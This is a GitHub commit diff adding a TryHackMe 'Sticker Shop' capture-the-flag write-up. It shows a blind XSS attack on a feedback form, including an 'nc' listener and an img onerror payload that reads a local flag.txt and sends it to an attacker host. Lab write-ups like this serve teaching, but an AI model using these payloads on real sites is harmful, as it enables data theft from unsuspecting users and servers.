Skip to content

Commit ea43483

Browse files
authored
chore(docs): added the sticker shop writeup
1 parent 82ece47 commit ea43483

File tree

1 file changed

+57
-1
lines changed

1 file changed

+57
-1
lines changed

src/tryhackme/The-Sticker-Shop.md

Lines changed: 57 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,58 @@
1-
# The Sticker Shop
1+
<img width="100" align="center" alt="thm" src="https://tryhackme-images.s3.amazonaws.com/room-icons/618b3fa52f0acc0061fb0172-1718377390091" />
2+
3+
# The Sticker Shop
24
**Can you exploit the sticker shop in order to capture the flag?**
5+
6+
Starting task, as we are going to face with a server run by a Local Sticker Shop hosted. I started the machine and jump over it.
7+
8+
<img width="1000" align="starting the machine" src="https://github.com/user-attachments/assets/3f0cd8ae-fec8-49b9-b1f2-c571779d3b88" />
9+
10+
<img width="1000" align="catppuccin line" src="https://github.com/user-attachments/assets/8a04c1c1-9f58-4f23-9548-4c71971b3576" />
11+
12+
13+
The first step I took is to visit the website and looked for the source and found ``/submit_feedback`` dir, which catched me.
14+
15+
| <img widht="900" src="https://github.com/user-attachments/assets/4a67214b-a540-4705-a765-53b4eff79e2e" /> | <img width="900" src="https://github.com/user-attachments/assets/6741784c-c161-4b4d-a135-e871ae2f9742" /> |
16+
| --- | --- |
17+
18+
And I visited to **``/submit_feedback``** and found a submition functionality available.
19+
20+
<img width="1000" alt="Screenshot from 2025-01-03 07-33-51" src="https://github.com/user-attachments/assets/7180ce37-e12d-430e-9481-b9236d30d07d" />
21+
22+
<img width="1000" align="catppuccin line" src="https://github.com/user-attachments/assets/8a04c1c1-9f58-4f23-9548-4c71971b3576" />
23+
24+
As soon I saw this, I just started to try random XSS payloads, from [payloadbox/xss-payload-list](https://github.com/payloadbox/xss-payload-list), and cam to this payload..
25+
26+
```js
27+
<img src=x onerror="fetch('<ip>:8080')"/>
28+
```
29+
>[!NOTE]
30+
> In the above payload an image would be loaded as img tag refers to **X** location, since the src fail to load and it simply goes to execute following and we just can grap the http request using ``nc``
31+
>```js
32+
> fetch('http://<ip>:8080');
33+
>```
34+
And I just ``nc`` the headers before the submition of the payload, and yeah like this !!!
35+
```bash
36+
nc -knvlp 8080
37+
```
38+
| ![Screenshot from 2025-01-03 08-10-35](https://github.com/user-attachments/assets/16818b62-29b4-428f-bfb6-a7df43471f59) | ![Screenshot from 2025-01-03 08-08-40](https://github.com/user-attachments/assets/122afe12-63cb-4e5c-a3f4-f140ab4fa642) |
39+
| --- | --- |
40+
<img width="1000" align="catppuccin line" src="https://github.com/user-attachments/assets/8a04c1c1-9f58-4f23-9548-4c71971b3576" />
41+
Now to grab the flag I have used the following payload..
42+
43+
```js
44+
<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://<ip>:8080/?c=' + r)).catch(e => fetch('http://<ip>:8080/?c=' + e))"/>
45+
```
46+
>[!NOTE]
47+
> Componenets..
48+
* ```<img src="x" onerror="...">``` - The image ``src`` is invalid, causing the ``onerror`` attribute to execute when the browser fails to load the image.
49+
* ```fetch('http://127.0.0.1:8080/flag.txt')``` - This initiates an HTTP GET request to the victim's localhost at port 8080, targeting the ``flag.txt`` file.
50+
* ```.then(r => r.text())``` - If the request succeeds, this processes the response (``r``) and converts it into text using the ``.text()`` method.
51+
* ```.then(r => fetch('http://<ip>:8080/?c=' + r))``` - After retrieving the file content, another ``fetch`` request sends the content (``r``) to the attacker's server (``http://<ip>:8080``) as part of the query string (``?c=...``).
52+
* ```.catch(e => fetch('http://<ip>:8080/?c=' + e))``` - If the initial ``fetch`` fails (e.g., the file doesn't exist or CORS blocks the request), the ``catch`` block handles the error and sends the error message (``e``) to the attacker's server.
53+
<img width="1000" align="catppuccin line" src="https://github.com/user-attachments/assets/8a04c1c1-9f58-4f23-9548-4c71971b3576" />
54+
<img width="1000" alt="flag png" src="https://github.com/user-attachments/assets/f78b265d-6508-4b29-948d-77f0af9e3d58" />
55+
56+
***Yes! Thank you for reading till here ;)***
57+
58+

0 commit comments

Comments
 (0)